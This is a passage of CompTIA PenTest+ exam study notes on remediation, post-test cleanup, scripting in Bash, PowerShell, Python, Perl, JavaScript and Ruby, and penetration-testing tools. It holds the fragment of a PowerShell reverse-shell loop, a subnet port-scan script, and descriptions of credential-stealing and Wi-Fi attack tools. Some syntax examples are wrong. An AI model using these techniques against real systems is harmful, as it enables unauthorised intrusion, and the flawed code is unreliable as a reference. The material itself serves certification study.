Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Discover
o Focus its efforts on incorporating modern capabilities into
the environment to scan and identify the certificates in use
● Inventory
o Formally document every certificate in use, including
information about those certificates
● Monitor
o Uses mechanisms to identify any changes to the
certificates or any suspicious activity related to a
certificate's usage
● Protect
o Focused on the protection of the private keys through the
use of technical controls like using key encrypting keys and
bit splitting techniques
● Renew
o Renew our digital certificates by replacing them with
newer, more updated versions to the maximum extent
possible
● Revoke
o Identify the need for revocation of a digital certificate and
follow those procedures when needed
- 179 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Certificate Stapling
▪ Allows a web server to perform certificate status check
▪ Eliminates the need for additional connection at the time of the request
o Key Rotation
▪ The process of changing keys on a periodic basis to mitigate against the
possibility of a brute-force attack of an unidentified key breach
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Network Segmentation
▪ Divides system infrastructure into different physical or virtual
subdivisions
● Mitigation Strategies
o Prioritize the findings and recommendations based on the threat, the risk rating,
and the cost of implementation
o Remediation Categories
▪ Technology
▪ Processes
● The idea of mitigating things through processes is to figure out
exactly how you can fix things by changing the way the
organization is operating
● Problems do not always have a technology solution
▪ People
● Recommend better training for their administrators, or hire more
people depending on the problem
- 181 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ SQL Injections
● Sanitize user input
● Parameterize queries
Post-Report Activities
- 182 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Post-Report Activities
o Domain 4: Reporting and Communication
▪ Objective 4.4
● Explain post-report delivery activities
o Purpose
▪ This ensures no artifacts or evidence were left on the target system
o Cleanup Tasks
▪ Delete files
▪ Remove accounts
▪ Uninstall tools
▪ Restore configurations
▪ Restore log files
▪ Purge sensitive details
▪ Windows
● Startup
● Registry key
● Advanced techniques
● Task scheduler
o Remove these shells and tools to keep anyone from using them to their own
advantage
o Some tools may have been loaded into memory when fileless malware was used
- 183 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Local Accounts
o Domain Accounts
o Web Application Accounts
o Linux
▪ Data Shredding
● The process of securely destroying the data by overwriting
storage with new data or a series of random ones and zeroes
o Windows
▪ Install third-party tools
▪ Save to an external hard drive
● Client Acceptance
o Establish an ongoing relationship with your target organizations
▪ Repeat business
▪ Prework and reconnaissance
▪ Work efficiency
● Attestation of Findings
- 184 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o The attestation of findings is different from the report as the former also
includes evidence
● Lessons Learned
o An analysis of the events that could provide insights into how to improve
penetration testing process in the future
▪ People skills
▪ Processes and technology
▪ Client engagement
▪ Vulnerabilities and exploits
Scripting Basics
- 185 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Scripting Basics
o Domain 5: Tools and Code Analysis
▪ Objective 5.1
● Explain the basic concepts of scripting and software development
▪ Objective 5.2
● Given a scenario, analyze a script or code sample for use in a
penetration test
o Scripting Languages
▪ Covered using pseudocode
● Bash
● PowerShell
● Python
● Ruby
● Perl
● JavaScript
● Scripting Tools
o Issuing commands individually can be useful for one-time analysis, but scripting
allows recurring searches to be repeated easily and automated
o Script
▪ A list of commands that are executed by a certain program
or scripting engine
● Bash
o A scripting language and command shell for Unix-like
systems that is the default shell for Linux and macOS
o Bash supports elements such as variables, loops,
conditional statements, functions, and more
● PowerShell
o A scripting language and command shell for Windows
systems
o PowerShell supports elements such as variables, loops,
conditional statements, functions, and cmdlets that use a
Verb-Noun syntax
- 186 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Perl
o A general-purpose Unix scripting language used for text
manipulation
● JavaScript
o A scripting language that allows developers to do fancy
and complex things on a webpage
● Variables
o Used to store values and data for different data types
o Boolean
▪ A form of data with only two possible values (True or False)
o Integer
▪ A variable that stores an integer or a whole number that may be positive
or negative
- 187 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Float/Decimal/Real Number
▪ A variable that stores a decimal number
o Character
▪ A variable that can only store one ASCII character
o String
▪ A variable that can store multiple characters
▪ In pseudocode, no need to define the data type for each variable
o Constant
▪ Like a variable, but cannot be changed within the program once defined
● Loops
o A type of flow control that controls which order the code will be executed in a
given program
▪ For loop
● Used when the number of times to repeat a block of code is
known
▪ While loop
● Used when the number of times to repeat a block of code is not
known and will only stop until something happens
▪ Do loop
● Used when there’s an indefinite iteration that needs to happen
and will only stop until some condition is met at the end of the
loop
● Logic Control
o Used to provide conditions based on different logical tests
▪ Boolean operator
▪ Arithmetic operator
- 188 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ String operator
● Data Structures
o Array
▪ A type of data structure that is used to hold multiple values of the same
type
o Dictionary
▪ An array of key value pairs
o List
▪ A type of data structure that can hold multiple values of different data
types in a sequential manner
▪ Every element on a list is called an index
- 189 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Tree
▪ A non-linear data structure that is used to create a hierarchy
● Object-Oriented Programming
o Object-Oriented Programming
▪ A programming paradigm based on the concept of “objects”, which can
contain data (fields) and code (procedures)
▪ Most of the programming languages are object-oriented
o Function
▪ A block of code that is given a special name which can be called to
perform the code within in
o Procedure
▪ Can be anything such as a function, method, routine, or subroutines that
takes input, generates output, and manipulates data
o Class
▪ The definition for the data format and the available procedures for a
given type or class of object
o Library
▪ Takes and places pieces of code into reusable areas
▪ It is an external collection of different classes, functions, and procedures
that can be reused
Analyzing Scripts
● Analyzing Scripts
o You must be able to analyze code snippets and identify their functions
- 190 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ The official CompTIA PenTest+ Student Guide for PT0-002, Chapter 15,
has a complete coverage of the objectives
● Coding in Bash
o Bash
▪ A command-line scripting language used for the command shell inside
Unix-like systems
▪ Bash is not an object-oriented programming language
o Starting Line
▪ #!/bin/bash
o Comment
▪ # This is the first line of my script
▪ # This script is used to do backups of my systems
o Variables
- 191 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ variable = value
CustomerName = Jason
$CustomerName
o Arrays
▪ tempArray = (value1, value2, value3)
tempArray[position]
$tempArray[1] => value2
PhoneBook[name] = “Jason”
PhoneBook[number] = “111-1111”
${PhoneBook[name]}
${PhoneBook[number]}
o Comparisons
▪ Arithmetic
● is equal to
o if [ “$a” -eq “$b” ]
● is not equal to
o if [ “$a” -ne “$b” ]
● is greater than
o if [ “$a” -gt “$b” ]
● is less than
o if [ “$a” -lt “$b” ]
- 192 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ String Comparison
● is equal to
o if [ “$a” = “$b” ]
if [ “$a” == “$b” ]
● is not equal to
o if [ “$a” != “$b” ]
o Logical Comparisons
▪ if [condition]
then
# do some command
fi
▪ if [<condition>]
then
# code here
elif [<condition>]
then
# code here
else
# code here
fi
- 193 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Flow Control
▪ For Do Done
● Performs a set of commands for each item in a list
● for var in <list>
do
<commands>
done
▪ While Do Done
● Performs a set of commands while a test is true
● while [ <some test> ]
do
<commands>
done
▪ Until Do Done
● Performs a set of commands until a test is true
● until [ <some test> ]
do
<commands>
done
o String Operations
▪ The commands used to manipulate data in string format
▪ testString = “Test String”
echo $testString
Test String
- 194 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ TempFile=$(<test.txt)
echo “$TempFile”
● Coding in PowerShell
o Comment
▪ # This is the first line of my script
▪ <#
This is a comment block. You can use this to comment out large sections
of text or code in your scripts.
#>
o Variables
▪ $variable = value
$CustomerName = Jason
▪ [int]$AnswerNumber = 42
o Arrays
▪ Allows for the storage of multiple values and reference them from a
single name
- 195 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ $tempArray = @()
$tempArray[position]
o Comparisons
▪ is equal to
● $a -eq $b
▪ is not equal to
● $a -ne $b
▪ is greater than
● $a -gt $b
▪ is less than
● $a -lt $b
o Conditional Statements
- 196 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ if (condition) {
# then do some command
}
▪ if (condition)
{
# code here
}
else
{
# code here
}
▪ if (condition)
{
# code here
}
elseif (condition)
{
# code here
}
else
{
# code here
}
o Flow Control
▪ For
● Performs a set of commands for each item in a list
● for (<Init>; <Condition>; <Repeat>)
{
<Statement list>
}
▪ Do While
● Performs a set of commands while a test is true
● Do
{
- 197 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
# commands
}
While ($this -eq $that)
▪ Until Do
● Performs a set of commands until a test is true
● Do
{
# commands
}
Until ($this -eq $that)
o String Operations
▪ The commands used to manipulate data in string format
▪ $testString = “Test String”
Write-Host $testString + “2”
Test String2
▪ Write-Host “This is the beginning of a new script log file” > script.log
- 198 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Coding in Python
o Comment
▪ # This is the first line of my script
▪ # This script is used to do backups of my systems
o Variables
▪ variable = value
Price = 10
▪ Vendor = “CompTIA”
Vendor = ‘CompTIA’
Vendor = “123”
▪ Price = int(42)
Price = float(42.00)
Price = str(“The life, the universe, and everything.”)
o Arrays
▪ tempArray = []
tempArray[position]
- 199 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ PhoneBook = {}
PhoneBook = {‘name’=‘Jason’, ‘number’=‘321-1234’}
o Comparisons
▪ is equal to
● a == b
▪ is not equal to
● a != b OR a <> b
▪ is greater than
● a>b
▪ is less than
● a<b
o Conditional Statements
▪ if (condition):
# then do something
▪ if (condition):
# then do something
else:
# do something else
- 200 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ if (condition):
# then do something
elif (condition):
# then do something else
else:
# do this thing instead
o Flow Control
▪ For
● Performs a set of commands for each item in a list
● for x in list:
# Do something
▪ While
● Performs a set of commands while a test is true
● i=1
while i < 6:
print(i)
i = i +1
▪ In Python, until loops are created by reversing the while loop’s logic
● i=1
while i > 5:
print(i)
i = i +1
o String Operations
▪ testString = “Dion Training is helping me learn to code”
print(testString)
- 201 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ print(tempFile.read())
● Coding in Perl
o Perl
▪ A language commonly used in Linux and Windows web servers to run
dynamic code
- 202 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Starting Line
▪ #!/bin/perl
o Comment
▪ # This is the first line of my script
▪ # This script is used to do backups of my systems
o Variables
▪ $variable = value;
$CustomerName = Jason;
$CustomerName
o Arrays
▪ @tempArray = (value1, value2, value3);
$tempArray[position]
$people{“Alex”} = 18;
$people{“Jonni”} => 25
o Comparisons
▪ Numeric
● is equal to
o if ($a == $b)
- 203 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● is not equal to
o if ($a != $b)
● is greater than
o if ($a > $b)
● is less than
o if ($a < $b)
▪ String Comparison
● is equal to
o if ($a -eq $b)
● is not equal to
o if ($a -ne $b)
● is greater than
o if ($a -gt $b)
● is less than
o if ($a -lt $b)
o Conditional Statements
- 204 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ if(condition) {
# commands to run
}
▪ if(condition) {
# commands execute if given condition is true
} else {
# commands execute if given condition is false
}
▪ if(condition1) {
# commands execute if given condition1 is true
} elsif(condition2) {
# commands execute if given condition2 is true
} else {
# commands executive if the above conditions
aren’t true
}
o Flow Control
▪ For
● Performs a set of commands for each item in a list
● for (init; condition; increment) {
statement(s);
}
▪ While
● Performs a set of commands while a test is true
● while(condition) {
commands;
}
▪ Until Do
● Performs a set of commands until a test is true
● until(condition) {
commands;
}
- 205 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o String Operations
▪ $testString = “Test String”
printf($testString);
Test String
▪ Count positions from the end of the string using negative numbers
▪ while (<DATA1>) {
printf(“$_”);
}
● Coding in JavaScript
o As a pentester, you will most often use JS when conducting cross-site scripting
attacks
o Starting Line
▪ main.js
▪ <script src=“scripts\main.js”></script>
▪ <script>code</script>
- 206 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Comment
▪ // This is the first line of my script
▪ /*
This is a multi-line
comment block
*/
o Variables
▪ let variable = value;
let CustomerName = ‘Jason’;
CustomerName = ‘Dion’;
▪ const PI = 3.14159
o Arrays
▪ let tempArray = [value1, value2, value3);
listOfNames[position]
▪
myPhoneBook.Jason
myPhoneBook.Jason = 333-1234;
myPhoneBook[“Jason”] = 333-1234;
o Comparisons
▪ is equal to
● (num1 = num2)
▪ is not equal to
- 207 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● (num1 != num2)
▪ is greater than
● (num1 > num2)
▪ is less than
● (num1 < num2)
o Conditional Statements
▪ if (condition) {
# do something;
}
▪ if (condition) {
# do something;
} else {
# do something else;
}
▪ if (condition) {
# do something;
} else if (condition) {
# do something else;
} else {
# do something else;
}
o Flow Control
▪ For
● Performs a set of commands for each item in a list
- 208 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ While
● Performs a set of commands while a test is true
● while (condition) {
<commands>;
}
▪ Do While
● Performs a set of commands until a test is true
● do {
<commands>;
}
while (condition);
o String Operations
▪ let text = “Dion Training”;
text.substring(start position, end position);
let result = text.substring(1, 4);
ion
- 209 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
if (customerName!= null) {
document.getElementById(“welcome”).innerHTML =
“Hello “ + customerName + “, How are you today?”;
}
▪ Node.js
● A backend JavaScript framework used to write automations
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ #!/usr/bin/ruby
o Comment
▪ # This is the first line of my script
o Variables
▪ Ruby treats constants just like variables, because they don’t really have
constants
o Arrays
▪ tempArray = Array.new (20) # this creates an array with 20 locations for
you to store things in it
tempArray.at(n)
- 211 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● if a == b
▪ is not equal to
● if a != b
▪ is greater than
● if a > b
▪ is less than
● if a < b
▪ ===
● is equal to in case statements instead of if statements
o Conditional Statements
▪ if condition
# do some command
end
▪ if condition
# do some command
else
# do something else
end
▪ if condition
# do some command
elsif condition
# do something else
else
# do some other thing
end
- 212 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Flow Control
▪ For
● Performs a set of commands for each item in a list
● for var in <list>
# do something
end
▪ While
● Performs a set of commands while a test is true
● while condition
# do commands
end
▪ Until
● Performs a set of commands until a test is true
● until condition
# do commands
end
o Substring Operations
▪ testString = “Test String”
puts testString
Test String
▪ Using a negative number as the starting position counts from the end of
the string as -1. -2. -3, etc.
● Puts
o Outputs the string to a new line
- 213 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Print
o Uses the same line unless a
new line character is specified
▪ f = File.open(‘commands.log’)
f.close
- 214 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
- 215 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush( )};
$client.Close( )
- 216 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
- 217 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ import socket
def connect(hostname, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
result = sock.connect_ex((hostname, port))
sock.close()
return result == 0
for i in range(0,255):
res = connect("192.168.1."+str(i), 80)
if res:
print("Device found at: ", "192.168.1."+str(i) + ":"+str(80))
● Automation in Engagements
o Automate actions using a script and do follow-on actions using another script
based on the results of the previous action
▪ Scan against a subnet range
▪ Import file containing targets
o vulners
▪ Has a vast database of vulnerabilities that can be used against web
servers
o ssl-enum-ciphers
▪ Identifies what ciphers are being used by secure web servers running Port
443
- 218 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Tool Round-up
● Tool Round-up
o Domain 5: Tools and Code Analysis
▪ Objective 5.3
● Explain use cases of the following tools during the phases of a
penetration test
● The goal is to associate the tool with its use case
o Sample Question
▪ Which tool could be used to collect frames and packets sent over a
wireless network?
A. John the Ripper
B. Nessus
C. Netcat
D. Aircrack-ng
● OSINT Tools
o OSINT Tools
▪ Find actionable intelligence from various publicly available sources
o WHOIS
▪ A query and response protocol that is widely used for querying databases
that store the registered users or assignees of an Internet resource
- 219 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Nslookup
▪ A network administration command-line tool for querying DNS to obtain
the mapping between domain names and IP addresses, or other DNS
records
o theHarvester
▪ A program for gathering emails, subdomains, hosts, employee names,
email addresses, PGP key entries, open ports, and service banners from
servers
o Shodan
▪ A website search engine for web cameras, routers, servers, and other
devices that are considered part of the Internet of things
o Maltego
▪ A piece of commercial software used for conducting open-source
intelligence that visually helps connect those relationships
▪ It can automate the querying of public sources of data and then compare
it with other info from various sources
o Recon-ng
▪ Uses a system of modules to add additional features and functions for
your use
▪ It is a cross-platform web reconnaissance framework
o Censys
▪ A website search engine used for finding hosts and networks across the
Internet with data about their configuration
- 220 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Scanning Tools
o Scanning Tools
▪ Used to identify potential vulnerabilities in a system, server, network,
software, service, or application
o Nikto
▪ A web vulnerability scanner that is used to assess custom web
applications that a company may have coded themselves
▪ perl nikto.pl -h <IP address>
o OpenVAS
▪ An open-source vulnerability scanner that is used to identify
vulnerabilities and assign a risk rating for the targeted assets
o Nessus
▪ A proprietary vulnerability scanner that is used conduct basic, advanced,
and compliance vulnerability scans to measure the effectiveness of the
system’s security controls
o SQLmap
▪ An open-source database scanner that searches for SQL injection
vulnerabilities that can be exploited
o Wapiti
- 221 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪
A web application vulnerability scanner which will automatically navigate
a web app looking for areas where it can inject data to target different
vulnerabilities
o WPScan
▪ A WordPress site vulnerability scanner that identifies the plugins used by
the website against a database of known vulnerabilities
o Brakeman
▪ A static code analysis security tool that is used to identify vulnerabilities
in applications written in Ruby on Rails
o ScoutSuite
▪ An open-source tool written in Python that can be used to audit instances
and policies created on multicloud platforms by collecting data using API
calls
● Networking Tools
o Networking Tools
▪ Used to monitor, analyze, or modify network traffic on a network
o Wireshark
▪ An open-source protocol analysis tool that can conduct packet sniffing,
decoding, and analysis
o Tcpdump
▪ A command-line protocol analysis tool that can conduct packet sniffing,
decoding, and analysis
o Hping
- 222 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Wireless Tools
o Aircrack-ng
▪ A powerful open-source wireless exploitation tool kit consisting of
airomon-ng, airodump-ng, aireplay-ng, and airocrack-ng
▪ Airomon-NG
● Used to monitor wireless frequencies to identify access points and
clients
▪ Airodump-NG
● Used to capture network traffic and save it to a PCAP file
▪ Aireplay-NG
● Used to conduct a deauthentication attack by sending spoofed
deauth requests to the access point
▪ Airocrack-NG
- 223 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Kismet
▪ An open-source tool that contains a wireless sniffer, a network detector,
and an intrusion detection system
o Wifite
▪ A wireless auditing tool that can be used to conduct a site survey to
locate rogue and hidden access points
o Rogue Access Point
▪ Any wireless access point that has been installed on a secure network
without explicit authorization from a local network administrator
o EAPHammer
▪ A Python-based toolkit that can be used to steal EAP authentication
credentials used in a WPA2-Enterprise network
o mdk4
▪ A wireless vulnerability exploitation toolkit that can conduct 10 different
types of 802.11 exploitation techniques
o Spooftooph
▪ Automates the spoofing or cloning of a Bluetooth device’s name, class,
and address
o Reaver
▪ A tool that conducts a brute-force attack against an access point’s Wi-Fi
Protected Setup (WPS) PIN to recover the WPA PSK
o Fern
- 224 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Netcat (nc)
▪ A command-line utility used to read from or write to TCP, UDP, or Unix
domain socket network connections
o Ncat
▪ An improved version of netcat which can also act as a proxy, launch
executables, transfer files, and encrypt all communications to and
from the victim machine
o ProxyChains
▪ A command-line tool that enables penetration testers to mask their
identity and/or source IP address by sending messages through proxy
servers or other intermediaries
o Hashcat
▪ A modern password and hash cracking tool that supports the use of GPUs
for parallel processing when conducting dictionary, brute force, and
hybrid attacks
o Medusa
- 226 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
